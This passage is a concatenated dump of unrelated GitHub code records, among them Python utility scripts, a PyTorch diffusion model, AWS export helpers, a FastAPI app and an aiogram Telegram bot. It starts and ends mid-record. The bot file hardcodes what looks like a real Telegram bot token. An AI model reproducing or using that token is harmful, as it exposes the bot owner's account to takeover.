result\n","repo_name":"munhyunsu/ApplicationPerformance","sub_path":"Pcap2HARPy3/har_encoder.py","file_name":"har_encoder.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"3333027363","text":"#!/usr/bin/python\n\nimport re\n\noutf=open('fort.4.new','w')\nwith open('fort.4','r') as fl:\n\tfor ln in fl:\n\t\t#print ln\n\t\tln=ln.replace('\\t','')\n\t\t#ln=ln.rstrip()\n\t\toutf.write(ln)\noutf.close()\n","repo_name":"whalleyph/group_codes","sub_path":"Others/no-tab.py","file_name":"no-tab.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74675747092","text":"#!/usr/bin/python3\n\nimport os\nimport sys\nimport time\nimport json\nimport redis\nimport urllib.request\n\nDOCKER_HOST = os.getenv('DOCKER_HOST')\nREDIS_ADDR = '127.0.0.1'\nREDIS_PORT = 6379\n\n\ndef redisDump():\n conn = redis.Redis(host=REDIS_ADDR, port=REDIS_PORT)\n for key in conn.keys():\n print(key)\n print(conn.get(key))\n return conn.keys()\n\ndef addData(datas):\n conn = redis.Redis(host=REDIS_ADDR, port=REDIS_PORT)\n for key in set(list(datas.keys()) + list(conn.keys())):\n if isinstance(key, bytes):\n key = key.decode('utf-8')\n if key in datas:\n conn.set(key, datas[key])\n else:\n conn.delete(key)\n\ndef getContainers():\n response = urllib.request.urlopen('http://' + DOCKER_HOST + '/containers/json?all=1')\n jsonData = json.loads(response.read().decode('utf-8'))\n\n datas = {}\n for con in jsonData:\n name = con['Names'][-1][1:]\n con_ip = getIpAddress(con['Id'])\n\n for port in con['Ports']:\n key = name + '-' + str(port['PrivatePort'])\n value=con_ip + ':' + str(port['PrivatePort'])\n datas[key] = value\n\n return datas\n\n\ndef getIpAddress(con_id):\n response = urllib.request.urlopen('http://' + DOCKER_HOST + '/containers/' + con_id + '/json')\n jsonData = json.loads(response.read().decode('utf-8'))\n #print(json.dumps(jsonData))\n ret = jsonData['NetworkSettings']['IPAddress']\n return ret\n\nwhile True:\n addData(getContainers())\n print( redisDump() )\n sys.stdout.flush()\n time.sleep(3)","repo_name":"curseoff/docker-dynamic-dns","sub_path":"build/dns/redis/regist.py","file_name":"regist.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34340920984","text":"num = int(input())\nwords = []\nfor i in range(num):\n word = input()\n read = len(word)\n if read <= 9:\n words.append(word)\n else:\n new_word = f'{word[0]}{read-2}{word[-1]}'\n words.append(new_word)\nfor w in words:\n print(w)\n \n ","repo_name":"herculesnatan/Beecrowd","sub_path":"way_too_long_words.py","file_name":"way_too_long_words.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32165717040","text":"# Name: Jelle Mul\n# Student number: 11402148\n\nimport csv, codecs, cStringIO\nimport json\n\nfrom pattern.web import URL, DOM\n\n# where I retrieved my data, but didn't scrape the site, copied the table to excel instead.\nTARGET_URL = \"https://en.wikipedia.org/wiki/List_of_countries_and_dependencies_by_population\"\n\n# open input and output file\ncsvfile = open('Dataprocessing\\Homework\\Week_3\\SVG2\\data.csv', 'r')\njsonfile = open('Dataprocessing\\Homework\\Week_3\\SVG2\\data.json', 'w')\n\n# make two fieldnames\nfieldnames = (\"country\",\"data\")\n\n# iterate through csv file\nreader = csv.DictReader(csvfile, fieldnames)\nfor row in reader:\n # write csv into json\n json.dump(row, jsonfile)\n # give right format\n jsonfile.write(',\\n')\n","repo_name":"JelleMul/Dataprocessing","sub_path":"Homework/Week_3/SVG2/datascraper.py","file_name":"datascraper.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19708103838","text":"import asyncio\r\nimport time\r\nimport logging\r\n\r\nclass RussianTeaCake:\r\n \"\"\"\r\n This class is extracted from Classic!\r\n Russian Tea Cake recipe\r\n from https://youtu.be/QA0CcTiEMsg\r\n\r\n STEPS:\r\n 1. [2 Minutes] Toast nuts whatever you want.\r\n 2. [2 Minutes] Chop nuts.\r\n 3. [5 Minutes] Mix the butter alone. O\r\n 4. [10 Minutes] Allow the butter to reach room temperature. O\r\n 5. [5 Minutes] Mix the butter, salt, sugar, vanilla. O\r\n 6. [5 Minutes] Mix the butter, salt, sugar, vanilla and nuts with flour. O\r\n 7. [10 Minutes] Roll the dough into balls.\r\n 8. [15 Minutes] Preheat the oven.\r\n 9. [12 Minutes] Bake the cakes.\r\n 10. [3 Minutes] Roll them in powdered sugar.\r\n \"\"\"\r\n\r\n def __init__(self, minute: float = 1.0):\r\n self._minute = minute\r\n self.__start_time = time.time()\r\n self.__end_time = None\r\n self.__chef_is_busy = False;\r\n self.__toast_nuts = False;\r\n self.__chop_toasted_nuts = False;\r\n self.__mix_butter_alone = False;\r\n self.__allow_ingredients_to_reach_room_temperature = False;\r\n self.__mix_butter_with_three = False;\r\n self.__mix_butter_with_three_and_flour_with_nuts = False;\r\n self.__roll_the_dough_into_balls = False;\r\n self.__preheat_the_oven = False\r\n self.__bake_the_cakes = False\r\n self.__roll_them_in_powdered_sugar = False;\r\n\r\n async def __aenter__(self):\r\n logging.basicConfig(format='%(levelname)s @ %(asctime)s : %(message)s',\r\n datefmt='%d.%m.%Y %H:%M:%S',\r\n level=logging.INFO,\r\n force=True,\r\n handlers=[\r\n logging.FileHandler(\"cake.log\", mode='w'),\r\n logging.StreamHandler()\r\n ])\r\n logging.getLogger(\"asyncio\").setLevel(logging.WARNING)\r\n logging.info(\"[START] Russian Tea Cakes\")\r\n await asyncio.sleep(0)\r\n return self\r\n async def __aexit__(self, exc_type, exc_val, exc_tb):\r\n self.__end_time = time.time()\r\n await asyncio.sleep(0)\r\n logging.info(\"[END] Russian Tea Cakes\")\r\n if not self.__roll_them_in_powdered_sugar:\r\n logging.error(\"The cakes are not baked and !rolled in powdered sugar!\")\r\n logging.info(f\"It took {((self.__end_time - self.__start_time)/self._minute):.2f} \"\r\n f\"minutes to complete this recipe.\")\r\n return True\r\n\r\n\r\n async def toast_nuts(self) -> None:\r\n \"\"\"\r\n Time: 2 Minutes\r\n Requires: None ******************************\r\n Occupies Chef: Yes\r\n \"\"\"\r\n if self.__chef_is_busy:\r\n logging.error(\"The chef is busy.\")\r\n return None\r\n self.__chef_is_busy = True\r\n logging.info(\"[START] Toasting the nuts\")\r\n await asyncio.sleep(5 * self._minute)\r\n logging.info(\"[END] Toasting the nuts\")\r\n self.__chef_is_busy = False\r\n self.__toast_nuts = True\r\n return None\r\n\r\n async def chop_toasted_nuts(self) -> None:\r\n \"\"\"\r\n Chop the nuts.\r\n Time: 2 minutes\r\n Requires: Toast nuts\r\n Occupies Chef: Yes\r\n \"\"\"\r\n if not self.__toast_nuts:\r\n logging.error(\"The nuts are not toasted\")\r\n return None\r\n\r\n logging.info(\"[START] Choping nuts\")\r\n await asyncio.sleep(12 * self._minute)\r\n logging.info(\"[END] Choping nuts\")\r\n self.__chop_toasted_nuts = True\r\n return None\r\n\r\n async def mix_butter_alone(self) -> None:\r\n \"\"\"\r\n Mix the butter in a large bowl.\r\n Time: 5 Minutes\r\n Requires: Butter at room temperature\r\n Occupies Chef: Yes\r\n \"\"\"\r\n if self.__chef_is_busy:\r\n logging.error(\"The chef is busy.\")\r\n return None\r\n self.__chef_is_busy = True\r\n logging.info(\"[START] Mixing the butter alone\")\r\n await asyncio.sleep(5 * self._minute)\r\n logging.info(\"[END] Mixing the the butter alone\")\r\n self.__chef_is_busy = False\r\n self.__mix_butter_alone = True\r\n return None\r\n\r\n async def allow_ingredients_to_reach_room_temperature(self) -> None:\r\n \"\"\"\r\n Allow the butter to reach room temperature.\r\n Time: 10 Minutes\r\n Requires: None ******************************\r\n Occupies Chef: No\r\n \"\"\"\r\n logging.info(\"[START] Allowing the ingredients to reach room temperature\")\r\n await asyncio.sleep(10 * self._minute)\r\n logging.info(\"[END] Allowing the ingredients to reach room temperature\")\r\n self.__allow_ingredients_to_reach_room_temperature = True\r\n return None\r\n\r\n async def mix_butter_with_three(self) -> None:\r\n \"\"\"\r\n Mix the butter, salt, sugar, vanilla in a large bowl.\r\n Time: 5 Minutes\r\n Requires: Butter at room temperature\r\n Occupies Chef: Yes\r\n \"\"\"\r\n if self.__chef_is_busy:\r\n logging.error(\"The chef is busy.\")\r\n return None\r\n self.__chef_is_busy = True\r\n logging.info(\"[START] Mixing the butter with three\")\r\n await asyncio.sleep(5 * self._minute)\r\n logging.info(\"[END] Mixing the the butter with three\")\r\n self.__chef_is_busy = False\r\n self.__mix_butter_with_three = True\r\n return None\r\n\r\n async def mix_butter_with_three_and_flour_with_nuts(self) -> None:\r\n \"\"\"\r\n Mix the butter, salt, sugar, vanilla in a large bowl.\r\n Time: 5 Minutes\r\n Requires: Butter at room temperature\r\n Occupies Chef: Yes\r\n \"\"\"\r\n if self.__chef_is_busy:\r\n logging.error(\"The chef is busy.\")\r\n return None\r\n self.__chef_is_busy = True\r\n logging.info(\"[START] Mixing the butter with three, flour and nuts.\")\r\n await asyncio.sleep(5 * self._minute)\r\n logging.info(\"[END] Mixing the the butter with three, flour and nuts\")\r\n self.__chef_is_busy = False\r\n self.__mix_butter_with_three_and_flour_with_nuts = True\r\n return None\r\n\r\n async def roll_the_dough_into_balls(self) -> None:\r\n \"\"\"\r\n Roll the dough into balls.\r\n Time: 10 minutes\r\n Requires: Mixed ingredients\r\n Occupies Chef: Yes\r\n \"\"\"\r\n if self.__chef_is_busy:\r\n logging.error(\"The chef is busy\")\r\n return None\r\n if not self.__mix_butter_with_three_and_flour_with_nuts:\r\n logging.error(\"The ingredients are not mixed(all of them)\")\r\n return None\r\n logging.info(\"[START] Rolling the dough into balls\")\r\n await asyncio.sleep(10 * self._minute)\r\n logging.info(\"[END] Rolling the dough into balls\")\r\n self.__roll_the_dough_into_balls = True\r\n return None\r\n\r\n async def preheat_the_oven(self) -> None:\r\n \"\"\"\r\n Preheat the oven.\r\n Time: 15 minutes\r\n Requires: None\r\n Occupies Chef: No\r\n \"\"\"\r\n logging.info(\"[START] Preheating the oven\")\r\n await asyncio.sleep(15 * self._minute)\r\n logging.info(\"[END] Preheating the oven\")\r\n self.__preheat_the_oven = True\r\n return None\r\n\r\n async def bake_the_cakes(self) -> None:\r\n \"\"\"\r\n Bake the cakes.\r\n Time: 12 minutes\r\n Requires: Rolled dough into balls and preheated oven\r\n Occupies Chef: No\r\n \"\"\"\r\n if not self.__roll_the_dough_into_balls:\r\n logging.error(\"The dough is not rolled into balls\")\r\n return None\r\n if not self.__preheat_the_oven:\r\n logging.error(\"The oven is not preheated\")\r\n return None\r\n logging.info(\"[START] Baking the cakes\")\r\n await asyncio.sleep(12 * self._minute)\r\n logging.info(\"[END] Baking the cakes\")\r\n self.__bake_the_cakes = True\r\n return None\r\n\r\n async def roll_them_in_powdered_sugar(self) -> None:\r\n \"\"\"\r\n Roll them in powdered sugar.\r\n Time: 1 minute\r\n Requires: Baked the cakes\r\n Occupies Chef: Yes\r\n \"\"\"\r\n if self.__chef_is_busy:\r\n logging.error(\"The chef is busy\")\r\n return None\r\n if not self.__bake_the_cakes:\r\n logging.error(\"The cakes are not baked\")\r\n return None\r\n logging.info(\"[START] Rolling them in powdered sugar\")\r\n await asyncio.sleep(1 * self._minute)\r\n logging.info(\"[END] Rolling them in powdered sugar\")\r\n self.__roll_them_in_powdered_sugar = True\r\n return None\r\n\r\nasync def main() -> None:\r\n async with RussianTeaCake(0.1) as cake:\r\n await cake.toast_nuts()\r\n await cake.chop_toasted_nuts()\r\n await cake.allow_ingredients_to_reach_room_temperature()\r\n await cake.mix_butter_alone()\r\n await cake.mix_butter_with_three()\r\n await cake.mix_butter_with_three_and_flour_with_nuts()\r\n await cake.roll_the_dough_into_balls()\r\n await cake.preheat_the_oven()\r\n\r\n await cake.bake_the_cakes()\r\n await cake.roll_them_in_powdered_sugar()\r\n return None\r\n\r\nif __name__ == \"__main__\":\r\n asyncio.run(main())","repo_name":"sumercanertugral/RussianTeaCake","sub_path":"cake.py","file_name":"cake.py","file_ext":"py","file_size_in_byte":9236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72646738774","text":"# Always prefer setuptools over distutils\nfrom setuptools import setup, find_packages\nimport pathlib\n\nhere = pathlib.Path(__file__).parent.resolve()\n\n# Get the long description from the README file\nlong_description = (here / \"README.md\").read_text(encoding=\"utf-8\")\n\nsetup(\n name=\"datecalc\",\n version=\"0.0.1\",\n description=\"calculate date differences\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://gitlab.com/benjamineskola/datecalc\",\n author=\"Benjamin Eskola\",\n author_email=\"ben@eskola.uk\",\n license=\"Creative Commons Attribution-NonCommercial 4.0 International\",\n classifiers=[\"License :: Free for non-commercial use\"],\n packages=find_packages(),\n python_requires=\">=3.5, <4\",\n install_requires=[\"python-dateutil\"],\n entry_points={\"console_scripts\": [\"datecalc=datecalc:main\"]},\n project_urls={\n \"Bug Reports\": \"https://gitlab.com/benjamineskola/datecalc/issues\",\n \"Source\": \"https://gitlab.com/benjamineskola/datecalc/\",\n },\n)\n","repo_name":"benjamineskola/datecalc","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72127414613","text":"import torch\nfrom diffusion.noise_scheduler import NoiseScheduler\nfrom torch import nn\n\n\nclass SinusoidalStepEmbedding(nn.Module):\n def __init__(self, dim):\n super().__init__()\n self.dim = dim\n\n def forward(self, ts):\n half_dim = self.dim // 2\n embedding = torch.tensor(10000).log() / (half_dim - 1)\n embedding = torch.exp(torch.arange(half_dim, device=ts.device) * -embedding)\n embedding = ts[:, None] * embedding[None, :]\n embedding = torch.cat((embedding.sin(), embedding.cos()), dim=-1)\n\n return embedding\n\n\nclass SelfAttention(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=1, stride=1, padding=0):\n super().__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n\n self.calc_querys = nn.Conv2d(self.in_channels, self.out_channels, kernel_size, stride, padding, bias=False)\n self.calc_keys = nn.Conv2d(self.in_channels, self.out_channels, kernel_size, stride, padding, bias=False)\n self.calc_values = nn.Conv2d(self.in_channels, self.out_channels, kernel_size, stride, padding, bias=False)\n\n self.l = nn.Conv2d(self.in_channels, self.out_channels, kernel_size=1, bias=False)\n\n def forward(self, xs):\n n, _, h, w = xs.shape\n\n querys = self.calc_querys(xs).view(n, self.out_channels, -1)\n keys = self.calc_keys(xs).view(n, self.out_channels, -1).transpose(2, 1)\n values = self.calc_values(xs).view(n, self.out_channels, -1)\n\n attention_scores = keys.bmm(querys)\n attention_scores = nn.functional.softmax(attention_scores, dim=-1)\n\n out = values.bmm(attention_scores).view(n, self.out_channels, h, w) + self.l(xs)\n\n return out\n\n\nclass ResBlock(nn.Module):\n def __init__(\n self,\n in_channels, out_channels, activate, mode,\n kernel_size=3, stride=1, padding=1, drop_rate=0., is_pool=False) -> None:\n super().__init__()\n self.groups = min(in_channels, out_channels)\n self.Conv = nn.Conv2d if mode == \"down\" else nn.ConvTranspose2d\n if is_pool:\n self.pool = nn.AvgPool2d(2) if mode == \"down\" else nn.ConvTranspose2d(out_channels, out_channels, 2, 2, 0)\n else:\n self.pool = nn.Identity()\n self.embed = SinusoidalStepEmbedding(256)\n self.l = nn.Linear(256, out_channels)\n\n self.normalize_in = nn.GroupNorm(self.groups, in_channels)\n self.conv0 = self.Conv(in_channels, out_channels, kernel_size, stride, padding)\n self.normalize_out = nn.GroupNorm(self.groups, out_channels)\n self.dropout = nn.Dropout(p=drop_rate, inplace=True)\n self.conv1 = self.Conv(out_channels, out_channels, kernel_size, stride, padding)\n self.activate = activate\n\n self.shortcut = self.Conv(in_channels, out_channels, kernel_size, stride, padding)\n\n def forward(self, xs, ts):\n out = self.activate(self.normalize_in(xs))\n out = self.conv0(out)\n out += self.activate(self.l(self.embed(ts))).view(*out.shape[0:2], 1, 1)\n out = self.dropout(self.activate(self.normalize_out(out)))\n out = self.conv1(out)\n out += self.shortcut(xs)\n\n return self.pool(out)\n\n\nclass Model(nn.Module):\n def __init__(self):\n super().__init__()\n self.noise_scheduler = NoiseScheduler(0, 0.02, 1000)\n\n self.channels = [4, 16, 32, 64, 128, 256, 512]\n self.activate = nn.SiLU()\n\n self.lift = nn.Linear(3, self.channels[0])\n\n self.down0 = ResBlock(self.channels[0], self.channels[1], self.activate, \"down\")\n self.down1 = ResBlock(self.channels[1], self.channels[2], self.activate, \"down\")\n self.down2 = ResBlock(self.channels[2], self.channels[3], self.activate, \"down\")\n self.down3 = ResBlock(self.channels[3], self.channels[4], self.activate, \"down\")\n\n self.attention = SelfAttention(self.channels[4], self.channels[4])\n\n self.up3 = ResBlock(2*self.channels[4], self.channels[3], self.activate, \"up\")\n self.up2 = ResBlock(2*self.channels[3], self.channels[2], self.activate, \"up\")\n self.up1 = ResBlock(2*self.channels[2], self.channels[1], self.activate, \"up\")\n self.up0 = ResBlock(2*self.channels[1], self.channels[0], self.activate, \"up\")\n\n self.proj = nn.Linear(self.channels[0], 3)\n\n def preprocess(self, xs):\n ts = torch.randint(1, self.noise_scheduler.steps, (len(xs),))\n xs, ys = self.noise_scheduler.forward_process(xs, ts)\n\n return xs, ts, ys\n\n def forward(self, xs, ts):\n xs = self.lift(xs.permute(0, 2, 3, 1)).permute(0, 3, 1, 2)\n\n h0 = self.down0(xs, ts)\n h1 = self.down1(h0, ts)\n h2 = self.down2(h1, ts)\n h3 = self.down3(h2, ts)\n\n h = self.attention(h3)\n\n h = self.up3(torch.cat((h, h3), dim=1), ts)\n h = self.up2(torch.cat((h, h2), dim=1), ts)\n h = self.up1(torch.cat((h, h1), dim=1), ts)\n h = self.up0(torch.cat((h, h0), dim=1), ts)\n\n h = self.proj(h.permute(0, 2, 3, 1)).permute(0, 3, 1, 2)\n\n return h\n\n def prev(self, image, t):\n device = image.device\n\n t = torch.tensor(t, device=device).reshape(1)\n alpha = self.noise_scheduler.alphas.to(device)[t]\n sqrt_oneminus_alpha_bar = self.noise_scheduler.sqrt_oneminus_alpha_bar_s.to(device)[t]\n sigma = self.noise_scheduler.sigmas.to(device)[t]\n\n noise_scale = ((1 - alpha) / sqrt_oneminus_alpha_bar)\n noise = self(image, t).detach()\n normalize_scale = torch.sqrt(alpha)\n perturb = sigma * torch.randn_like(image)\n\n return (image - noise_scale * noise) / normalize_scale + perturb\n\n def infer(self, ch, h, w):\n image = torch.randn(1, ch, h, w, device=next(self.parameters()).device)\n for i in range(self.noise_scheduler.steps-1, 0, -1):\n image = self.prev(image, i)\n image = image.reshape(ch, h, w).permute(1, 2, 0)\n image -= torch.min(image)\n image /= torch.max(image)\n\n return image.to(\"cpu\")\n","repo_name":"jrunkening/diffusion","sub_path":"diffusion/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"73126816214","text":"import argparse\nimport torch\nfrom torchvision import datasets, transforms\nimport os\n\n\ncomp_dir = '../comparison_synth'\n\ndef save(file_name, data):\n file_name = os.path.join(comp_dir, file_name)\n torch.save(data.cpu(), file_name)\n\ndef make_random():\n train_kwargs = {'batch_size': 5000, 'shuffle':True}\n\n transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(\n (0.5, 0.5, 0.5), \n (0.5, 0.5, 0.5))\n ])\n \n dataset1 = datasets.CIFAR10('../data/', train=True, download=True,\n transform=transform)\n train_loader = torch.utils.data.DataLoader(dataset1,**train_kwargs)\n\n if not os.path.isdir(comp_dir):\n os.mkdir(comp_dir)\n\n data_all = []\n label_all = []\n\n for i, (x,y) in enumerate(train_loader):\n for c in range(10):\n data = x[y == c]\n perm = torch.randperm(data.shape[0])[:100]\n data, label = data[perm], torch.ones(100)*c\n\n data_all.append(data)\n label_all.append(label)\n\n data = torch.concat(data_all)\n label = torch.concat(label_all)\n save(f'rand_x_{i}.pt', data)\n save(f'rand_y_{i}.pt', label)\n\n if i == 10:\n break\n\nif __name__ == '__main__':\n make_random()\n","repo_name":"julschoen/SimpleFIDMatch","sub_path":"make_comparisons.py","file_name":"make_comparisons.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33857506392","text":"import requests\n\nfrom .consts import LINE_NOTIFY_URL\n\ndef post_to_line_notify(\n message: str,\n token: str\n):\n r = requests.post(\n LINE_NOTIFY_URL,\n headers = {\n 'Authorization' : f'Bearer {token}'\n },\n params = {\n 'message': message\n }\n )\n","repo_name":"JIIOryo/mariokart_ranking","sub_path":"lib/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"40118072511","text":"from django.urls import path\n\nfrom goals.apps import GoalsConfig\nfrom goals.views.categories import CategoryCreateView, CategoryListView, CategoryDetailView\nfrom goals.views.comments import GoalCommentCreateView, GoalCommentList, GoalCommentDetailView\nfrom goals.views.goals import GoalCreateView, GoalListView, GoalDetailView\n\napp_name = GoalsConfig.name\n\nurlpatterns = [\n # Categories\n path('goal_category/create', CategoryCreateView.as_view(), name='create-category'),\n path('goal_category/list', CategoryListView.as_view(), name='categories-list'),\n path('goal_category/', CategoryDetailView.as_view(), name='category-details'),\n # Goals\n path('goal/create', GoalCreateView.as_view(), name='create-goal'),\n path('goal/list', GoalListView.as_view(), name='goals-list'),\n path('goal/', GoalDetailView.as_view(), name='goal-details'),\n # Comments\n path('goal_comment/create', GoalCommentCreateView.as_view(), name='create-comment'),\n path('goal_comment/list', GoalCommentList.as_view(), name='goals_comments-list'),\n path('goal_comment/', GoalCommentDetailView.as_view(), name='goal-comment-details')\n]\n\n","repo_name":"VitaliyKladko/todolist","sub_path":"goals/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39415635639","text":"# Exports the necessary files to the various AWS instances, before\n# remote_control_aws runs them\nimport datetime\nimport glob\nimport os\n\nimport aws_api\nimport fabric_api\n\ndns_template = \"DNS[{i}]=\\\"{the_dns}\\\"\"\nenv_var_template = \"export DNS{i}=\\\"{dns}\\\"\"\nssh_template = \"ssh -i /home/jjacobs/aws/jeff.pem -o StrictHostKeyChecking=no ubuntu@{dns} \\\"mkdir obranch_lda; mv 02* 03* obranch_lda; /home/ubuntu/anaconda3/bin/conda install -y -q fabric; /home/ubuntu/anaconda3/bin/python canadian_aws_corpus_run.py {inst_num};\\\"\"\n\ndef export_to_aws(pl, custom_glob=None, instances=None):\n # Set to True if you want to export the files via shell script rather than\n # within Python\n create_shell_script = False\n if custom_glob:\n pl.iprint(\"Using custom glob: \\\"\" + custom_glob + \"\\\"\")\n # First we have to launch the aws instances\n inst_ids = aws_api.start_instances(pl.num_lda_subsets)\n # Get their DNS addresses\n dns_list = aws_api.get_all_dns()\n if create_shell_script:\n # Print the DNS array for the aws_corpus_export.sh file\n for dns_num, cur_dns in enumerate(dns_list):\n print(dns_template.format(i=dns_num, the_dns=cur_dns))\n # Now print the export commands that will store the DNS names\n for dns_num, cur_dns in enumerate(dns_list):\n print(env_var_template.format(i=dns_num, dns=cur_dns))\n # Print the ssh commands for the ssh_run_aws.sh file\n ssh_list = []\n for dns_num, cur_dns in enumerate(dns_list):\n ssh_list.append(\"( \" + ssh_template.format(dns=cur_dns, inst_num=dns_num) + \" ) & \")\n # Ugh\n ssh_str = \"\".join(ssh_list)\n print(ssh_str)\n else:\n # Do the exporting directly through python\n fpath_list = []\n # Standard set of files\n fpath_list.append(os.path.join(\"configs\",\"canadian_dominik.conf\"))\n lda_fpath_list = glob.glob(os.path.join(\"lda_pipeline\",\"lda*\"))\n fpath_list.extend(lda_fpath_list)\n fpath_list.append(\"pipeline.py\")\n fpath_list.append(\"pipeline_util.py\")\n fpath_list.append(\"canadian_aws_corpus_run.py\")\n fpath_list.append(\"aws_api.py\")\n fpath_list.append(\"fabric_api.py\")\n #fpath_list.append(pl.get_lda_dict_fpath())\n # And the actual exporting\n for dns_num, cur_dns in enumerate(dns_list):\n if dns_num not in instances:\n continue\n print(\"Copying to instance #\" + str(dns_num))\n # Need to make sure to copy the specific doclist file\n cur_fpath_list = fpath_list.copy()\n #cur_fpath_list.append(pl.get_lda_doclist_fpath(dns_num))\n fabric_api.copy_to_instance(cur_fpath_list, cur_dns)\n\n# def export_to_aws_nofabric(pl, custom_glob=None):\n# run_remotely = False\n# if custom_glob:\n# pl.iprint(\"Using custom glob: \\\"\" + custom_glob + \"\\\"\")\n# # First we have to launch the aws instances\n# inst_ids = aws_api.start_instances()\n# # Get their DNS addresses\n# dns_list = aws_api.get_all_dns()\n \n# ### STEP 1: Copy files over\n# # Build a file list\n# filepath_list = []\n# if not custom_glob:\n# # Standard set of files\n# filepath_list.append(\"configs/canadian_dominik.conf\")\n# lda_filepath_list = glob.glob(\"lda_pipeline/lda*\")\n# filepath_list.extend(lda_filepath_list)\n# filepath_list.append(\"pipeline.py\")\n# filepath_list.append(\"pipeline_util.py\")\n# filepath_list.append(\"canadian_aws_corpus_run.py\")\n# filepath_list.append(pl.get_lda_dict_fpath())\n# filepath_list.append(pl.get_preprocessed_df_fpath())\n# else:\n# # Use the custom glob\n# custom_list = glob.glob(custom_glob)\n# filepath_list.extend(custom_list)\n# # Now copy the files over.\n# for cur_instance_num in range(pl.num_lda_subsets):\n# pl.iprint(\"Copying to instance #\" + str(cur_instance_num))\n# cur_dns = dns_list[cur_instance_num]\n# cur_filepath_list = filepath_list.copy()\n# if not custom_glob:\n# # Also copy over the specific doclist for this instance\n# cur_filepath_list.append(pl.get_lda_doclist_fpath(doclist_num=cur_instance_num))\n# fabric_api.copy_to_instance(cur_filepath_list, cur_dns)\n# pl.iprint(\"Successfully copied files to instance #\" + str(cur_instance_num))\n","repo_name":"jpowerj/contracts-pipeline","sub_path":"lda_pipeline/lda04_export_to_aws.py","file_name":"lda04_export_to_aws.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72698199572","text":"queue = []\n\nsize = int(input())\n\nfor i in range(size):\n event = input()\n\n if \"встал\" in event or \"встала\" in event:\n queue.append(event.split(\" вста\")[0])\n if \"Привет\" in event:\n name = event[event.index(' ') + 1:event.index('!')]\n last = event[event.index('!') + 2:event.index(\" будет\")]\n queue.insert(queue.index(name) + 1, last)\n if \"хватит\" in event:\n name = event[:event.index(\"хватит\") - 2]\n queue.remove(name)\nprint(*queue, sep='\\n')\n","repo_name":"RIMPOFUNK/FirstLyceumCourse","sub_path":"Lesson 15 (Методы списков и строк)/Special/5. Пристраиваемся в очередь.py","file_name":"5. Пристраиваемся в очередь.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9128417087","text":"import asyncio\nfrom aiogram import Bot, Dispatcher\nfrom handlers import *\n\n# Запуск бота\nasync def main():\n bot = Bot(token=\"5579393510:AAFTu9JVaAd9IyujIkX3wN7NfkCHhJYAxdk\")\n dp = Dispatcher()\n\n dp.include_routers(menu.router, nation.router)\n\n\n\n\n\n await bot.delete_webhook(drop_pending_updates=True)\n await dp.start_polling(bot)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())","repo_name":"maximyuk/test","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36034722448","text":"import time\nfrom fastapi import FastAPI, APIRouter, Request\nfrom fastapi.middleware.cors import CORSMiddleware\n\nfrom app.core.config import settings\nfrom app.routes.api import router as api_router #routing\n\ndef get_application():\n _app = FastAPI(title=settings.PROJECT_NAME)\n\n _app.add_middleware(\n CORSMiddleware,\n allow_origins=[str(origin) for origin in settings.BACKEND_CORS_ORIGINS],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n )\n\n _app.include_router((api_router))\n\n return _app\n\napp = get_application()\n\nrouter = APIRouter()\n\n#connection test\n@app.get('/')\ndef ping():\n return { 'data': 'connection ok' }\n\n#middleware test\n@app.middleware('http')\nasync def middleware_test(request: Request, call_next):\n start_time = time.time()\n print('start time', start_time)\n response = await call_next(request)\n process_time = time.time() - start_time\n response.headers[\"X-Process-Time\"] = str(process_time)\n return response\n\n\n\n\n#structure reference: https://github.com/nsidnev/fastapi-realworld-example-app/blob/master/app/main.py","repo_name":"jincheol-juhn-nv/fastapi-web-test","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18655573945","text":"import xlwings as xw\n# Import libraries \nfrom PIL import Image \nimport pytesseract \nimport sys \nfrom pdf2image import convert_from_path \nimport os \nimport glob\nfrom difflib import SequenceMatcher\nfrom tika import parser\n\n#Function to read all pdf files in folder\ndef readfiles():\n\tos.chdir(\"./\")\n\tpdfs = []\n\tfor file in 